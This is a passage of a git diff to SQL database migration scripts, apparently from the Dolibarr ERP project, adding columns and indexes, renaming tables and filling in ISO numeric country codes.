AFTER default_rib; ALTER TABLE llx_societe_rib ADD COLUMN fk_country integer AFTER state_id; ALTER TABLE llx_societe_rib ADD COLUMN currency_code varchar(3) AFTER fk_country; +DELETE FROM llx_societe_rib WHERE fk_soc = 0; +ALTER TABLE llx_societe_rib ADD CONSTRAINT llx_societe_rib_fk_societe FOREIGN KEY (fk_soc) REFERENCES llx_societe(rowid); + ALTER TABLE llx_user_rib ADD COLUMN state_id integer AFTER owner_address; ALTER TABLE llx_user_rib ADD COLUMN fk_country integer AFTER state_id; ALTER TABLE llx_user_rib ADD COLUMN currency_code varchar(3) AFTER fk_country; @@ -197,6 +212,8 @@ ALTER TABLE llx_societe_remise_except ADD COLUMN multicurrency_tx double(24,8) N -- VMYSQL4.3 ALTER TABLE llx_hrm_evaluationdet CHANGE COLUMN `rank` rankorder integer; -- VPGSQL8.2 ALTER TABLE llx_hrm_evaluationdet CHANGE COLUMN rank rankorder integer; +-- VMYSQL4.3 ALTER TABLE llx_hrm_skillrank CHANGE COLUMN `rank` rankorder integer; +-- VPGSQL8.2 ALTER TABLE llx_hrm_skillrank CHANGE COLUMN rank rankorder integer; -- Rename const to hide public and private notes (fix allow notes const was used to hide) @@ -372,5 +389,18 @@ ALTER TABLE llx_prelevement_facture_demande RENAME TO llx_prelevement_demande; ALTER TABLE llx_prelevement ADD COLUMN fk_salary INTEGER NULL AFTER fk_facture_fourn; ALTER TABLE llx_prelevement_demande ADD COLUMN fk_salary INTEGER NULL AFTER fk_facture_fourn; - ALTER TABLE llx_user ADD COLUMN birth_place varchar(64); + +ALTER TABLE llx_opensurvey_user_studs ADD COLUMN date_creation datetime NULL; +ALTER TABLE llx_opensurvey_comments ADD COLUMN date_creation datetime NULL; + +ALTER TABLE llx_c_tva ADD COLUMN use_default tinyint DEFAULT 0; + +ALTER TABLE llx_commande_fournisseurdet MODIFY COLUMN ref varchar(128); +ALTER TABLE llx_facture_fourn_det MODIFY COLUMN ref varchar(128); + +ALTER TABLE llx_projet ADD COLUMN extraparams varchar(255); + +DELETE FROM llx_const WHERE name = 'TICKET_CREATE_THIRD_PARTY_WITH_CONTACT_IF_NOT_EXIST'; + + diff --git a/htdocs/install/mysql/migration/17.0.0-18.0.0.sql b/htdocs/install/mysql/migration/17.0.0-18.0.0.sql new file mode 100644 index 00000000000..fb8cb956a6d --- /dev/null +++ b/htdocs/install/mysql/migration/17.0.0-18.0.0.sql @@ -0,0 +1,385 @@ +-- +-- Be carefull to requests order. +-- This file must be loaded by calling /install/index.php page +-- when current version is 18.0.0 or higher. +-- +-- To restrict request to Mysql version x.y minimum use -- VMYSQLx.y +-- To restrict request to Pgsql version x.y minimum use -- VPGSQLx.y +-- To rename a table: ALTER TABLE llx_table RENAME TO llx_table_new; +-- To add a column: ALTER TABLE llx_table ADD COLUMN newcol varchar(60) NOT NULL DEFAULT '0' AFTER existingcol; +-- To rename a column: ALTER TABLE llx_table CHANGE COLUMN oldname newname varchar(60); +-- To drop a column: ALTER TABLE llx_table DROP COLUMN oldname; +-- To change type of field: ALTER TABLE llx_table MODIFY COLUMN name varchar(60); +-- To drop a foreign key: ALTER TABLE llx_table DROP FOREIGN KEY fk_name; +-- To create a unique index ALTER TABLE llx_table ADD UNIQUE INDEX uk_table_field (field); +-- To drop an index: -- VMYSQL4.1 DROP INDEX nomindex on llx_table; +-- To drop an index: -- VPGSQL8.2 DROP INDEX nomindex; +-- To make pk to be auto increment (mysql): +-- -- VMYSQL4.3 ALTER TABLE llx_table ADD PRIMARY KEY(rowid); +-- -- VMYSQL4.3 ALTER TABLE llx_table CHANGE COLUMN rowid rowid INTEGER NOT NULL AUTO_INCREMENT; +-- To make pk to be auto increment (postgres): +-- -- VPGSQL8.2 CREATE SEQUENCE llx_table_rowid_seq OWNED BY llx_table.rowid; +-- -- VPGSQL8.2 ALTER TABLE llx_table ADD PRIMARY KEY (rowid); +-- -- VPGSQL8.2 ALTER TABLE llx_table ALTER COLUMN rowid SET DEFAULT nextval('llx_table_rowid_seq'); +-- -- VPGSQL8.2 SELECT setval('llx_table_rowid_seq', MAX(rowid)) FROM llx_table; +-- To set a field as NULL: -- VMYSQL4.3 ALTER TABLE llx_table MODIFY COLUMN name varchar(60) NULL; +-- To set a field as NULL: -- VPGSQL8.2 ALTER TABLE llx_table ALTER COLUMN name DROP NOT NULL; +-- To set a field as NOT NULL: -- VMYSQL4.3 ALTER TABLE llx_table MODIFY COLUMN name varchar(60) NOT NULL; +-- To set a field as NOT NULL: -- VPGSQL8.2 ALTER TABLE llx_table ALTER COLUMN name SET NOT NULL; +-- To set a field as default NULL: -- VPGSQL8.2 ALTER TABLE llx_table ALTER COLUMN name SET DEFAULT NULL; +-- Note: fields with type BLOB/TEXT can't have default value. +-- To rebuild sequence for postgresql after insert by forcing id autoincrement fields: +-- -- VPGSQL8.2 SELECT dol_util_rebuild_sequences(); + + +-- v17 + +-- VMYSQL4.3 ALTER TABLE llx_hrm_skillrank CHANGE COLUMN `rank` rankorder integer; +-- VPGSQL8.2 ALTER TABLE llx_hrm_skillrank CHANGE COLUMN rank rankorder integer; + +ALTER TABLE llx_accounting_system CHANGE COLUMN fk_pays fk_country integer; + +ALTER TABLE llx_commande_fournisseurdet MODIFY COLUMN ref varchar(128); +ALTER TABLE llx_facture_fourn_det MODIFY COLUMN ref varchar(128); + + +-- v18 + +ALTER TABLE llx_notify_def ADD COLUMN email varchar(255); +ALTER TABLE llx_notify_def ADD COLUMN threshold double(24,8); +ALTER TABLE llx_notify_def ADD COLUMN context varchar(128); + +ALTER TABLE llx_c_action_trigger ADD COLUMN contexts varchar(255) NULL; + +insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('PROJECT_CLOSE','Project closed','Executed when a project is closed','project',145); + +-- amount was removed in v12 +ALTER TABLE llx_facture DROP COLUMN amount; + +-- Rename prospect level on contact +ALTER TABLE llx_socpeople CHANGE fk_prospectcontactlevel fk_prospectlevel varchar(12); + +ALTER TABLE llx_facture ADD COLUMN prorata_discount real DEFAULT NULL; + +ALTER TABLE llx_facture MODIFY COLUMN situation_cycle_ref integer; + +ALTER TABLE llx_payment_salary MODIFY COLUMN datep datetime; + +INSERT INTO llx_c_tva(rowid,fk_pays,code,taux,localtax1,localtax1_type,localtax2,localtax2_type,recuperableonly,note,active) values (1179, 117, 'I-28' , 28, 0, '0', 0, '0', 0, 'IGST', 1); +INSERT INTO llx_c_tva(rowid,fk_pays,code,taux,localtax1,localtax1_type,localtax2,localtax2_type,recuperableonly,note,active) values (1176, 117, 'C+S-18', 0, 9, '1', 9, '1', 0, 'CGST+SGST - Same state sales', 1); + + +ALTER TABLE llx_user ADD COLUMN flagdelsessionsbefore datetime DEFAULT NULL; + +ALTER TABLE llx_website ADD COLUMN pageviews_previous_month BIGINT UNSIGNED DEFAULT 0; + +ALTER TABLE llx_product_stock ADD CONSTRAINT fk_product_product_rowid FOREIGN KEY (fk_product) REFERENCES llx_product (rowid); +ALTER TABLE llx_product_stock ADD CONSTRAINT fk_entrepot_entrepot_rowid FOREIGN KEY (fk_entrepot) REFERENCES llx_entrepot (rowid); + + +ALTER TABLE llx_bank_account ADD COLUMN owner_zip varchar(25); +ALTER TABLE llx_bank_account ADD COLUMN owner_town varchar(50); +ALTER TABLE llx_bank_account ADD COLUMN owner_country_id integer DEFAULT NULL; + +ALTER TABLE llx_prelevement_bons ADD COLUMN fk_bank_account integer DEFAULT NULL; + +ALTER TABLE llx_supplier_proposal ADD UNIQUE INDEX uk_supplier_proposal_ref (ref, entity); + +ALTER TABLE llx_supplier_proposal ADD INDEX idx_supplier_proposal_fk_soc (fk_soc); +ALTER TABLE llx_supplier_proposal ADD INDEX idx_supplier_proposal_fk_user_author (fk_user_author); +ALTER TABLE llx_supplier_proposal ADD INDEX idx_supplier_proposal_fk_user_valid (fk_user_valid); +ALTER TABLE llx_supplier_proposal ADD INDEX idx_supplier_proposal_fk_projet (fk_projet); +ALTER TABLE llx_supplier_proposal ADD INDEX idx_supplier_proposal_fk_account(fk_account); + +ALTER TABLE llx_ecm_files ADD COLUMN share_pass varchar(32) after share; + +ALTER TABLE llx_prelevement_demande ADD COLUMN type varchar(12) DEFAULT ''; +UPDATE llx_prelevement_demande SET type = 'ban' WHERE ext_payment_id IS NULL AND type = ''; + +ALTER TABLE llx_recruitment_recruitmentcandidature ADD COLUMN fk_user integer; + +ALTER TABLE llx_bordereau_cheque ADD COLUMN type VARCHAR(6) DEFAULT 'CHQ'; + +-- Element time +ALTER TABLE llx_projet_task_time RENAME TO llx_element_time; +ALTER TABLE llx_element_time CHANGE COLUMN fk_task fk_element integer NOT NULL; +ALTER TABLE llx_element_time CHANGE COLUMN task_date element_date date; +ALTER TABLE llx_element_time CHANGE COLUMN task_datehour element_datehour datetime; +ALTER TABLE llx_element_time CHANGE COLUMN task_date_withhour element_date_withhour integer; +ALTER TABLE llx_element_time CHANGE COLUMN task_duration element_duration double; +ALTER TABLE llx_element_time ADD COLUMN elementtype varchar(32) NOT NULL DEFAULT 'task' AFTER fk_element; + +-- VMYSQL4.1 DROP INDEX idx_projet_task_time_task on llx_element_time; +-- VMYSQL4.1 DROP INDEX idx_projet_task_time_date on llx_element_time; +-- VMYSQL4.1 DROP INDEX idx_projet_task_time_datehour on llx_element_time; +-- VPGSQL8.2 DROP INDEX idx_projet_task_time_task; +-- VPGSQL8.2 DROP INDEX idx_projet_task_time_date; +-- VPGSQL8.2 DROP INDEX idx_projet_task_time_datehour; + +ALTER TABLE llx_element_time ADD INDEX idx_element_time_task (fk_element); +ALTER TABLE llx_element_time ADD INDEX idx_element_time_date (element_date); +ALTER TABLE llx_element_time ADD INDEX idx_element_time_datehour (element_datehour); + + +ALTER TABLE llx_c_country ADD COLUMN numeric_code VARCHAR(3); + +UPDATE llx_c_country SET numeric_code = '004' WHERE code_iso = 'AFG'; +UPDATE llx_c_country SET numeric_code = '248' WHERE code_iso = 'ALA'; +UPDATE llx_c_country SET numeric_code = '008' WHERE code_iso = 'ALB'; +UPDATE llx_c_country SET numeric_code = '276' WHERE code_iso = 'DEU'; +UPDATE llx_c_country SET numeric_code = '020' WHERE code_iso = 'AND'; +UPDATE llx_c_country SET numeric_code = '024' WHERE code_iso = 'AGO'; +UPDATE llx_c_country SET numeric_code = '660' WHERE code_iso = 'AIA'; +UPDATE llx_c_country SET numeric_code = '010' WHERE code_iso = 'ATA'; +UPDATE llx_c_country SET numeric_code = '028' WHERE code_iso = 'ATG'; +UPDATE llx_c_country SET numeric_code = '682' WHERE code_iso = 'SAU'; +UPDATE llx_c_country SET numeric_code = '012' WHERE code_iso = 'DZA'; +UPDATE llx_c_country SET numeric_code = '032' WHERE code_iso = 'ARG'; +UPDATE llx_c_country SET numeric_code = '051' WHERE code_iso = 'ARM'; +UPDATE llx_c_country SET numeric_code = '533' WHERE code_iso = 'ABW'; +UPDATE llx_c_country SET numeric_code = '036' WHERE code_iso = 'AUS'; +UPDATE llx_c_country SET numeric_code = '040' WHERE code_iso = 'AUT'; +UPDATE llx_c_country SET numeric_code = '031' WHERE code_iso = 'AZE'; +UPDATE llx_c_country SET numeric_code = '044' WHERE code_iso = 'BHS'; +UPDATE llx_c_country SET numeric_code = '050' WHERE code_iso = 'BGD'; +UPDATE llx_c_country SET numeric_code = '052' WHERE code_iso = 'BRB'; +UPDATE llx_c_country SET numeric_code = '048' WHERE code_iso = 'BHR'; +UPDATE llx_c_country SET numeric_code = '056' WHERE code_iso = 'BEL'; +UPDATE llx_c_country SET numeric_code = '084' WHERE code_iso = 'BLZ'; +UPDATE llx_c_country SET numeric_code = '204' WHERE code_iso = 'BEN'; +UPDATE llx_c_country SET numeric_code = '060' WHERE code_iso = 'BMU'; +UPDATE llx_c_country SET numeric_code = '112' WHERE code_iso = 'BLR'; +UPDATE llx_c_country SET numeric_code = '068' WHERE code_iso = 'BOL'; +UPDATE llx_c_country SET numeric_code = '535' WHERE code_iso = 'BES'; +UPDATE llx_c_country SET numeric_code = '070' WHERE code_iso = 'BIH'; +UPDATE llx_c_country SET numeric_code = '072' WHERE code_iso = 'BWA'; +UPDATE llx_c_country SET numeric_code = '076' WHERE code_iso = 'BRA'; +UPDATE llx_c_country SET numeric_code = '096' WHERE code_iso = 'BRN'; +UPDATE llx_c_country SET numeric_code = '100' WHERE code_iso = 'BGR'; +UPDATE llx_c_country SET numeric_code = '854' WHERE code_iso = 'BFA'; +UPDATE llx_c_country SET numeric_code = '108' WHERE code_iso = 'BDI'; +UPDATE llx_c_country SET numeric_code = '064' WHERE code_iso = 'BTN'; +UPDATE llx_c_country SET numeric_code = '132' WHERE code_iso = 'CPV'; +UPDATE llx_c_country SET numeric_code = '116' WHERE code_iso = 'KHM'; +UPDATE llx_c_country SET numeric_code = '120' WHERE code_iso = 'CMR'; +UPDATE llx_c_country SET numeric_code = '124' WHERE code_iso = 'CAN'; +UPDATE llx_c_country SET numeric_code = '634' WHERE code_iso = 'QAT'; +UPDATE llx_c_country SET numeric_code = '148' WHERE code_iso = 'TCD'; +UPDATE llx_c_country SET numeric_code = '152' WHERE code_iso = 'CHL'; +UPDATE llx_c_country SET numeric_code = '156' WHERE code_iso = 'CHN'; +UPDATE llx_c_country SET numeric_code = '196' WHERE code_iso = 'CYP'; +UPDATE llx_c_country SET numeric_code = '170' WHERE code_iso = 'COL'; +UPDATE llx_c_country SET numeric_code = '174' WHERE code_iso = 'COM'; +UPDATE llx_c_country SET numeric_code = '408' WHERE code_iso = 'PRK'; +UPDATE llx_c_country SET numeric_code = '410' WHERE code_iso = 'KOR'; +UPDATE llx_c_country SET numeric_code = '384' WHERE code_iso = 'CIV'; +UPDATE llx_c_country SET numeric_code = '188' WHERE code_iso = 'CRI'; +UPDATE llx_c_country SET numeric_code = '191' WHERE code_iso = 'HRV'; +UPDATE llx_c_country SET numeric_code = '192' WHERE code_iso = 'CUB'; +UPDATE llx_c_country SET numeric_code = '531' WHERE code_iso = 'CUW'; +UPDATE llx_c_country SET numeric_code = '208' WHERE code_iso = 'DNK'; +UPDATE llx_c_country SET numeric_code = '212' WHERE code_iso = 'DMA'; +UPDATE llx_c_country SET numeric_code = '218' WHERE code_iso = 'ECU'; +UPDATE llx_c_country SET numeric_code = '818' WHERE code_iso = 'EGY'; +UPDATE llx_c_country SET numeric_code = '222' WHERE code_iso = 'SLV'; +UPDATE llx_c_country SET numeric_code = '784' WHERE code_iso = 'ARE'; +UPDATE llx_c_country SET numeric_code = '232' WHERE code_iso = 'ERI'; +UPDATE llx_c_country SET numeric_code = '703' WHERE code_iso = 'SVK'; +UPDATE llx_c_country SET numeric_code = '705' WHERE code_iso = 'SVN'; +UPDATE llx_c_country SET numeric_code = '724' WHERE code_iso = 'ESP'; +UPDATE llx_c_country SET numeric_code = '840' WHERE code_iso = 'USA'; +UPDATE llx_c_country SET numeric_code = '233' WHERE code_iso = 'EST'; +UPDATE llx_c_country SET numeric_code = '231' WHERE code_iso = 'ETH'; +UPDATE llx_c_country SET numeric_code = '608' WHERE code_iso = 'PHL'; +UPDATE llx_c_country SET numeric_code = '246' WHERE code_iso = 'FIN'; +UPDATE llx_c_country SET numeric_code = '242' WHERE code_iso = 'FJI'; +UPDATE llx_c_country SET numeric_code = '250' WHERE code_iso = 'FRA'; +UPDATE llx_c_country SET numeric_code = '266' WHERE code_iso = 'GAB'; +UPDATE llx_c_country SET numeric_code = '270' WHERE code_iso = 'GMB'; +UPDATE llx_c_country SET numeric_code = '268' WHERE code_iso = 'GEO'; +UPDATE llx_c_country SET numeric_code = '288' WHERE code_iso = 'GHA'; +UPDATE llx_c_country SET numeric_code = '292' WHERE code_iso = 'GIB'; +UPDATE llx_c_country SET numeric_code = '308' WHERE code_iso = 'GRD'; +UPDATE llx_c_country SET numeric_code = '300' WHERE code_iso = 'GRC'; +UPDATE llx_c_country SET numeric_code = '304' WHERE code_iso = 'GRL'; +UPDATE llx_c_country SET numeric_code = '312' WHERE code_iso = 'GLP'; +UPDATE llx_c_country SET numeric_code = '316' WHERE code_iso = 'GUM'; +UPDATE llx_c_country SET numeric_code = '320' WHERE code_iso = 'GTM'; +UPDATE llx_c_country SET numeric_code = '254' WHERE code_iso = 'GUF'; +UPDATE llx_c_country SET numeric_code = '831' WHERE code_iso = 'GGY'; +UPDATE llx_c_country SET numeric_code = '324' WHERE code_iso = 'GIN'; +UPDATE llx_c_country SET numeric_code = '624' WHERE code_iso = 'GNB'; +UPDATE llx_c_country SET numeric_code = '226' WHERE code_iso = 'GNQ'; +UPDATE llx_c_country SET numeric_code = '328' WHERE code_iso = 'GUY'; +UPDATE llx_c_country SET numeric_code = '332' WHERE code_iso = 'HTI'; +UPDATE llx_c_country SET numeric_code = '340' WHERE code_iso = 'HND'; +UPDATE llx_c_country SET numeric_code = '344' WHERE code_iso = 'HKG'; +UPDATE llx_c_country SET numeric_code = '348' WHERE code_iso = 'HUN'; +UPDATE llx_c_country SET numeric_code = '356' WHERE code_iso = 'IND'; +UPDATE llx_c_country SET numeric_code = '360' WHERE code_iso = 'IDN'; +UPDATE llx_c_country SET numeric_code = '368' WHERE code_iso = 'IRQ'; +UPDATE llx_c_country SET numeric_code = '364' WHERE code_iso = 'IRN'; +UPDATE llx_c_country SET numeric_code = '372' WHERE code_iso = 'IRL'; +UPDATE llx_c_country SET numeric_code = '074' WHERE code_iso = 'BVT'; +UPDATE llx_c_country SET numeric_code = '833' WHERE code_iso = 'IMN'; +UPDATE llx_c_country SET numeric_code = '162' WHERE code_iso = 'CXR'; +UPDATE llx_c_country SET numeric_code = '352' WHERE code_iso = 'ISL'; +UPDATE llx_c_country SET numeric_code = '136' WHERE code_iso = 'CYM'; +UPDATE llx_c_country SET numeric_code = '166' WHERE code_iso = 'CCK'; +UPDATE llx_c_country SET numeric_code = '184' WHERE code_iso = 'COK'; +UPDATE llx_c_country SET numeric_code = '234' WHERE code_iso = 'FRO'; +UPDATE llx_c_country SET numeric_code = '239' WHERE code_iso = 'SGS'; +UPDATE llx_c_country SET numeric_code = '334' WHERE code_iso = 'HMD'; +UPDATE llx_c_country SET numeric_code = '238' WHERE code_iso = 'FLK'; +UPDATE llx_c_country SET numeric_code = '580' WHERE code_iso = 'MNP'; +UPDATE llx_c_country SET numeric_code = '584' WHERE code_iso = 'MHL'; +UPDATE llx_c_country SET numeric_code = '612' WHERE code_iso = 'PCN'; +UPDATE llx_c_country SET numeric_code = '090' WHERE code_iso = 'SLB'; +UPDATE llx_c_country SET numeric_code = '796' WHERE code_iso = 'TCA'; +UPDATE llx_c_country SET numeric_code = '581' WHERE code_iso = 'UMI'; +UPDATE llx_c_country SET numeric_code = '092' WHERE code_iso = 'VGB'; +UPDATE llx_c_country SET numeric_code = '850' WHERE code_iso = 'VIR'; +UPDATE llx_c_country SET numeric_code = '376' WHERE code_iso = 'ISR'; +UPDATE llx_c_country SET numeric_code = '380' WHERE code_iso = 'ITA'; +UPDATE llx_c_country SET numeric_code = '388' WHERE code_iso = 'JAM'; +UPDATE llx_c_country SET numeric_code = '392' WHERE code_iso = 'JPN'; +UPDATE llx_c_country SET numeric_code = '832' WHERE code_iso = 'JEY'; +UPDATE llx_c_country SET numeric_code = '400' WHERE code_iso = 'JOR'; +UPDATE llx_c_country SET numeric_code = '398' WHERE code_iso = 'KAZ'; +UPDATE llx_c_country SET numeric_code = '404' WHERE code_iso = 'KEN'; +UPDATE llx_c_country SET numeric_code = '417' WHERE code_iso = 'KGZ'; +UPDATE llx_c_country SET numeric_code = '296' WHERE code_iso = 'KIR'; +UPDATE llx_c_country SET numeric_code = '414' WHERE code_iso = 'KWT'; +UPDATE llx_c_country SET numeric_code = '418' WHERE code_iso = 'LAO'; +UPDATE llx_c_country SET numeric_code = '426' WHERE code_iso = 'LSO'; +UPDATE llx_c_country SET numeric_code = '428' WHERE code_iso = 'LVA'; +UPDATE llx_c_country SET numeric_code = '422' WHERE code_iso = 'LBN'; +UPDATE llx_c_country SET numeric_code = '430' WHERE code_iso = 'LBR'; +UPDATE llx_c_country SET numeric_code = '434' WHERE code_iso = 'LBY'; +UPDATE llx_c_country SET numeric_code = '438' WHERE code_iso = 'LIE'; +UPDATE llx_c_country SET numeric_code = '440' WHERE code_iso = 'LTU'; +UPDATE llx_c_country SET numeric_code = '442' WHERE code_iso = 'LUX'; +UPDATE llx_c_country SET numeric_code = '446' WHERE code_iso = 'MAC'; +UPDATE llx_c_country SET numeric_code = '807' WHERE code_iso = 'MKD'; +UPDATE llx_c_country SET numeric_code = '450' WHERE code_iso = 'MDG'; +UPDATE llx_c_country SET numeric_code = '458' WHERE code_iso = 'MYS'; +UPDATE llx_c_country SET numeric_code = '454' WHERE code_iso = 'MWI'; +UPDATE llx_c_country SET numeric_code = '462' WHERE code_iso = 'MDV'; +UPDATE llx_c_country SET numeric_code = '466' WHERE code_iso = 'MLI'; +UPDATE llx_c_country SET numeric_code = '470' WHERE code_iso = 'MLT'; +UPDATE llx_c_country SET numeric_code = '504' WHERE code_iso = 'MAR'; +UPDATE llx_c_country SET numeric_code = '474' WHERE code_iso = 'MTQ'; +UPDATE llx_c_country SET numeric_code = '480' WHERE code_iso = 'MUS'; +UPDATE llx_c_country SET numeric_code = '478' WHERE code_iso = 'MRT'; +UPDATE llx_c_country SET numeric_code = '175' WHERE code_iso = 'MYT'; +UPDATE llx_c_country SET numeric_code = '484' WHERE code_iso = 'MEX'; +UPDATE llx_c_country SET numeric_code = '583' WHERE code_iso = 'FSM'; +UPDATE llx_c_country SET numeric_code = '498' WHERE code_iso = 'MDA'; +UPDATE llx_c_country SET numeric_code = '492' WHERE code_iso = 'MCO'; +UPDATE llx_c_country SET numeric_code = '496' WHERE code_iso = 'MNG'; +UPDATE llx_c_country SET numeric_code = '499' WHERE code_iso = 'MNE'; +UPDATE llx_c_country SET numeric_code = '500' WHERE code_iso = 'MSR'; +UPDATE llx_c_country SET numeric_code = '508' WHERE code_iso = 'MOZ'; +UPDATE llx_c_country SET numeric_code = '104' WHERE code_iso = 'MMR'; +UPDATE llx_c_country SET numeric_code = '516' WHERE code_iso = 'NAM'; +UPDATE llx_c_country SET numeric_code = '520' WHERE code_iso = 'NRU'; +UPDATE llx_c_country SET numeric_code = '524' WHERE code_iso = 'NPL'; +UPDATE llx_c_country SET numeric_code = '558' WHERE code_iso = 'NIC'; +UPDATE llx_c_country SET numeric_code = '562' WHERE code_iso = 'NER'; +UPDATE llx_c_country SET numeric_code = '566' WHERE code_iso = 'NGA'; +UPDATE llx_c_country SET numeric_code = '570' WHERE code_iso = 'NIU'; +UPDATE llx_c_country SET numeric_code = '574' WHERE code_iso = 'NFK'; +UPDATE llx_c_country SET numeric_code = '578' WHERE code_iso = 'NOR'; +UPDATE llx_c_country SET numeric_code = '540' WHERE code_iso = 'NCL'; +UPDATE llx_c_country SET numeric_code = '554' WHERE code_iso = 'NZL'; +UPDATE llx_c_country SET numeric_code = '512' WHERE code_iso = 'OMN'; +UPDATE llx_c_country SET numeric_code = '528' WHERE code_iso = 'NLD'; +UPDATE llx_c_country SET numeric_code = '586' WHERE code_iso = 'PAK'; +UPDATE llx_c_country SET numeric_code = '585' WHERE code_iso = 'PLW'; +UPDATE llx_c_country SET numeric_code = '275' WHERE code_iso = 'PSE'; +UPDATE llx_c_country SET numeric_code = '591' WHERE code_iso = 'PAN'; +UPDATE llx_c_country SET numeric_code = '598' WHERE code_iso = 'PNG'; +UPDATE llx_c_country SET numeric_code = '600' WHERE code_iso = 'PRY'; +UPDATE llx_c_country SET numeric_code = '604' WHERE code_iso = 'PER'; +UPDATE llx_c_country SET numeric_code = '258' WHERE code_iso = 'PYF'; +UPDATE llx_c_country SET numeric_code = '616' WHERE code_iso = 'POL'; +UPDATE llx_c_country SET numeric_code = '620' WHERE code_iso = 'PRT'; +UPDATE llx_c_country SET numeric_code = '630' WHERE code_iso = 'PRI'; +UPDATE llx_c_country SET numeric_code = '826' WHERE code_iso = 'GBR'; +UPDATE llx_c_country SET numeric_code = '732' WHERE code_iso = 'ESH'; +UPDATE llx_c_country SET numeric_code = '140' WHERE code_iso = 'CAF'; +UPDATE llx_c_country SET numeric_code = '203' WHERE code_iso = 'CZE'; +UPDATE llx_c_country SET numeric_code = '178' WHERE code_iso = 'COG'; +UPDATE llx_c_country SET numeric_code = '180' WHERE code_iso = 'COD'; +UPDATE llx_c_country SET numeric_code = '214' WHERE code_iso = 'DOM'; +UPDATE llx_c_country SET numeric_code = '638' WHERE code_iso = 'REU'; +UPDATE llx_c_country SET numeric_code = '646' WHERE code_iso = 'RWA'; +UPDATE llx_c_country SET numeric_code = '642' WHERE code_iso = 'ROU'; +UPDATE llx_c_country SET numeric_code = '643' WHERE code_iso = 'RUS'; +UPDATE llx_c_country SET numeric_code = '882' WHERE code_iso = 'WSM'; +UPDATE llx_c_country SET numeric_code = '016' WHERE code_iso = 'ASM'; +UPDATE llx_c_country SET numeric_code = '652' WHERE code_iso = 'BLM'; +UPDATE llx_c_country SET numeric_code = '659' WHERE code_iso = 'KNA'; +UPDATE llx_c_country SET numeric_code = '674' WHERE code_iso = 'SMR'; +UPDATE llx_c_country SET numeric_code = '663' WHERE code_iso = 'MAF'; +UPDATE llx_c_country SET numeric_code = '666' WHERE code_iso = 'SPM'; +UPDATE llx_c_country SET numeric_code = '670' WHERE code_iso = 'VCT'; +UPDATE llx_c_country SET numeric_code = '654' WHERE code_iso = 'SHN'; +UPDATE llx_c_country SET numeric_code = '662' WHERE code_iso = 'LCA'; +UPDATE llx_c_country SET numeric_code = '678' WHERE code_iso = 'STP'; +UPDATE llx_c_country SET numeric_code = '686' WHERE code_iso = 'SEN'; +UPDATE llx_c_country SET numeric_code = '688' WHERE code_iso = 'SRB'; +UPDATE llx_c_country SET numeric_code = '690' WHERE code_iso = 'SYC'; +UPDATE llx_c_country SET numeric_code = '694' WHERE code_iso = 'SLE'; +UPDATE llx_c_country SET numeric_code = '702' WHERE code_iso = 'SGP'; +UPDATE llx_c_country SET numeric_code = '534' WHERE code_iso = 'SXM'; +UPDATE llx_c_country SET numeric_code = '760' WHERE code_iso = 'SYR'; +UPDATE llx_c_country SET numeric_code = '706' WHERE code_iso = 'SOM'; +UPDATE llx_c_country SET numeric_code = '144' WHERE code_iso = 'LKA'; +UPDATE llx_c_country SET numeric_code = '748' WHERE code_iso = 'SWZ'; +UPDATE llx_c_country SET numeric_code = '710' WHERE code_iso = 'ZAF'; +UPDATE llx_c_country SET numeric_code = '729' WHERE code_iso = 'SDN'; +UPDATE llx_c_country SET numeric_code = '728' WHERE code_iso = 'SSD'; +UPDATE llx_c_country SET numeric_code = '752' WHERE code_iso = 'SWE'; +UPDATE llx_c_country SET numeric_code = '756' WHERE code_iso = 'CHE'; +UPDATE llx_c_country SET numeric_code = '740' WHERE code_iso = 'SUR'; +UPDATE llx_c_country SET numeric_code = '744' WHERE code_iso = 'SJM'; +UPDATE llx_c_country SET numeric_code = '764' WHERE code_iso = 'THA'; +UPDATE llx_c_country SET numeric_code = '158' WHERE code_iso = 'TWN'; +UPDATE llx_c_country SET numeric_code = '834' WHERE code_iso = 'TZA'; +UPDATE llx_c_country SET numeric_code = '762' WHERE code_iso = 'TJK'; +UPDATE llx_c_country SET numeric_code = '086' WHERE code_iso = 'IOT'; +UPDATE llx_c_country SET numeric_code = '260' WHERE code_iso = 'ATF'; +UPDATE llx_c_country SET numeric_code = '626' WHERE code_iso = 'TLS'; +UPDATE llx_c_country SET numeric_code = '768' WHERE code_iso = 'TGO'; +UPDATE llx_c_country SET numeric_code = '772' WHERE code_iso = 'TKL'; +UPDATE llx_c_country SET numeric_code = '776' WHERE code_iso = 'TON'; +UPDATE llx_c_country SET numeric_code = '780' WHERE code_iso = 'TTO'; +UPDATE llx_c_country SET numeric_code = '788' WHERE code_iso = 'TUN'; +UPDATE llx_c_country SET numeric_code = '795' WHERE code_iso = 'TKM'; +UPDATE llx_c_country SET numeric_code = '792' WHERE code_iso = 'TUR'; +UPDATE llx_c_country SET numeric_code = '798' WHERE code_iso = 'TUV'; +UPDATE llx_c_country SET numeric_code = '804' WHERE code_iso = 'UKR'; +UPDATE llx_c_country SET numeric_code = '800' WHERE code_iso = 'UGA'; +UPDATE llx_c_country SET numeric_code = '858' WHERE code_iso = 'URY'; +UPDATE llx_c_country SET numeric_code = '860' WHERE code_iso = 'UZB'; +UPDATE llx_c_country SET numeric_code = '548' WHERE code_iso = 'VUT'; +UPDATE llx_c_country SET numeric_code = '336' WHERE code_iso = 'VAT'; +UPDATE llx_c_country SET numeric_code = '862' WHERE code_iso = 'VEN'; +UPDATE llx_c_country SET numeric_code = '704' WHERE code_iso = 'VNM'; +UPDATE llx_c_country SET numeric_code = '876' WHERE code_iso = 'WLF'; +UPDATE llx_c_country SET numeric_code = '887' WHERE code_iso = 'YEM'; +UPDATE llx_c_country SET numeric_code = '262' WHERE code_iso = 'DJI'; +UPDATE llx_c_country SET numeric_code = '894' WHERE code_iso = 'ZMB'; +UPDATE llx_c_country SET numeric_code = '716' WHERE code_iso = 'ZWE'; + +-- Generate documents on product batch +ALTER TABLE llx_product_lot ADD COLUMN model_pdf varchar(255) AFTER scrapping_date; +ALTER TABLE llx_product_lot ADD COLUMN last_main_doc varchar(255) AFTER model_pdf; + + +ALTER TABLE llx_product_fournisseur_price ADD COLUMN status integer DEFAULT 1; + +ALTER TABLE llx_product_fournisseur_price_log ADD INDEX idx_product_fournisseur_price_log_fk_product_fournisseur (fk_product_fournisseur); +ALTER TABLE llx_product_fournisseur_price_log ADD INDEX idx_product_fournisseur_price_log_fk_user (fk_user); +--ALTER TABLE llx_product_fournisseur_price_log ADD INDEX idx_product_fournisseur_price_log_fk_multicurrency (fk_multicurrency); diff --git a/htdocs/install/mysql/migration/repair.sql 